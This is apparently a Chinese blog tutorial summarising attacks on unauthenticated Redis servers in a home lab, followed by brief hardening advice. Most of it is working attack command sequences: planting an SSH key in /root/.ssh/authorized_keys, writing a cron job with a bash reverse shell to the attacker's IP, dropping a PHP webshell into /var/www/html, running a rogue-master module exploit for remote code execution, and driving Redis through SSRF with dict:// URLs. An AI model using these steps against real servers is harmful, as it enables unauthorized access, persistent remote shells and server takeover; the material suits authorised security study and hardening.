热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Redis漏洞总结

redis相关漏



点击上方蓝字关注我




Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

环境搭建

安装步骤参考:Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户

操作系统:ubuntu20.4

首先先选择一个合适的版本,然后下载压缩包(这里建议选择5.01,我这一开始下成3.2.11了,后面改成的5.01,所以截图不太一样)


wget http://download.redis.io/releases/redis-5.0.1.tar.gz

解压到文件夹后,进入解压的目录redis-3.2.11,使用


make

make完后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)


返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:

然后编辑etc目录下的redis.conf文件


sudo gedit /etc/redis.conf

首先将ip绑定去掉

关闭保护模式,允许远程连接redis服务

最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:


redis-server /etc/redis.conf



注意:还需要检测是否关闭了防火墙

查询是否开启防火墙


sudo ufw status

显示不活动即为关闭


使用命令关闭


sudo ufw disable

然后再安装ssh服务


dpkg -l | grep ssh //查看是否安装了ssh服务,默认只安装了ssh-client服务。
sudo apt-get install openssh-server
dpkg -l | grep ssh
ps -e | grep ssh //查看服务是否开启





环境

目标机器:

ubuntu20 192.168.200.38

攻击机:

kali 192.168.200.4

win7 192.168.200.17


简介

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 





无凭证ssh连接

SSH提供两种登录验证方式,一种是口令验证,另一种是密钥验证。

口令认证也就是账号密码认证,密钥认证就是我们目标的免密码登录

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端;

2.客户端发起登录请求,发送自己的相关信息;

3.服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

4.客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

5.服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

先决条件

6.Redis服务使用ROOT账号启动(如果不以root权限执行,将会导致后面命令执行失败)

7.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

攻击

在攻击机本地生成公钥文件

获取rsa


ssh-keygen -t rsa

设置为无密码

需要为我们的公钥文件设置一个私钥

公钥文件默认路径:/root/.ssh/id_rsa.pub(除非生成时自己手动修改了存储地址)

查看公钥的内容


cat id_rsa.pub



然后通过redis无密码访问目标机器



redis-cli -h 192.168.200.38

然后我们会进入一个命令行



config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名





set g1ts "\n\n\n 公钥 \n\n\n"         #将公钥写入g1ts键
save #进行保存



然后进行ssh远程连接


ssh -i /root/桌面/others/id_rsa root@192.168.200.38

可以发现无密码直接远程连接了ubuntu


计划任务(ubuntu系统可能不能使用)

条件:

  • root启用Redis

攻击

首先先连接redis,然后清楚所有的键值

redis-cli -h 192.168.200.38
flushall





config set dir /var/spool/cron/crontabs/ #设置保存路径(写在计划任务储存的文件夹)
config set dbfilename g1ts #设置保存名称

然后我们就可以写入执行的命令,可以用来反弹shell,不过在那之前首先先在kali设置监听


nc -lvp 6666



然后写入反弹语句,由于是计划任务,所以要设置时间

crontab时间格式:crontab用法与实例 | 《Linux就该这么学》 (linuxprobe.com)


set g1ts "\n* * * * * * bash -i >& /dev/tcp/192.168.200.4/6666 0>&1\n"
save

然后命令就会执行

但是似乎是因为我是ubuntu系统的原因,redis创建的计划任务执行失败,查看一下日志,发现是创建的文件权限不够

系统需要600的权限(应该就是读写的权限),但是目前只有只读的文件,我查阅了资料,但是也没有发现如何创建一个600权限的计划任务,所以如果目标是ubuntu系统的话可能此方法不能够执行成功

更多问题可以参考:解决ubuntu crontab反弹shell失败的问题 · 大专栏 (dazhuanlan.com)


写入shell

先决条件:

  • root权限启动redis

  • 需要知道绝对路径

  • 具有文件读写增删改查权限


redis-cli -h 192.168.200.38 #连接Redis
config set dir /var/www/html #设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n\n\n\n" #写入一句话木马到g1ts键
save


Redis主从复制getshell

主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞成因:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

先决条件:

  • Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

  • root权限启动redis

环境搭建

首先先设置主从模式,将kali设置为主机


redis-cli -h 192.168.200.38
slaveof 192.168.200.4 6379



攻击

首先下载恶意代码

下载地址:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

可以下载下来本地编译,也可以使用作者编译好的exp.so

有两种模式,一种是交互式shell,一种是反弹shell



python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so

输入i进入交互式shell


但是在我测试的时候,使用ifconfig命令会导致shell退出,使用一些命令也会有几率导致退出

输入r进行反弹shell,在此之前需要先设置监听


nc -lvp 6666

然后输入r进行反弹,在输入反弹的ip和端口


通过redisSSRF

先决条件:

  • root启用redis

  • 目标机存在dict协议

  • 知道网站绝对路径

假设可以导致ssr的文件为ssrf.php,我们可以使用以下命令


ssrf.php?var=dict://192.168.200.38:6379/flushall

当然我们也可以通过设置键来写入shell,不过写入时推荐使用主从复制写入,而不采用直接写入,因为可能会写入不进去

首先先设置主从关系

设置kali为主机

ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379


设置保存目录

ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html


设置保存文件名称

ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php


进入kali,写文件


redis-cli
set g1ts "\n\n\n\n\n\n"


然后再保存


ssrf.php?url=dict://192.168.200.38:6379/save

切断主从复制

ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one




防御措施

1.禁止监听在公网地址

将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启Redis

2.修改默认监听的端口

Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf中修改Redis的监听端口,将默认端口6379改为其他的端口

3.开启 Redis 安全认证并设置复杂的密码

为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码

4.禁止使用 root 权限启动

使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如:  useradd -s /sbin/nolog -M redis  sudo -u redis //redis-server //redis.conf

5.设置Redis配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件

壁纸:https://pic.imgdb.cn/item/61873edb2ab3f51d91167835.png


点个在看是对我最好的支持






推荐阅读
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 安装mysqlclient失败解决办法
    本文介绍了在MAC系统中,使用django使用mysql数据库报错的解决办法。通过源码安装mysqlclient或将mysql_config添加到系统环境变量中,可以解决安装mysqlclient失败的问题。同时,还介绍了查看mysql安装路径和使配置文件生效的方法。 ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • 31.项目部署
    目录1一些概念1.1项目部署1.2WSGI1.3uWSGI1.4Nginx2安装环境与迁移项目2.1项目内容2.2项目配置2.2.1DEBUG2.2.2STAT ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • 本文介绍了如何使用C#制作Java+Mysql+Tomcat环境安装程序,实现一键式安装。通过将JDK、Mysql、Tomcat三者制作成一个安装包,解决了客户在安装软件时的复杂配置和繁琐问题,便于管理软件版本和系统集成。具体步骤包括配置JDK环境变量和安装Mysql服务,其中使用了MySQL Server 5.5社区版和my.ini文件。安装方法为通过命令行将目录转到mysql的bin目录下,执行mysqld --install MySQL5命令。 ... [详细]
author-avatar
koglum
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有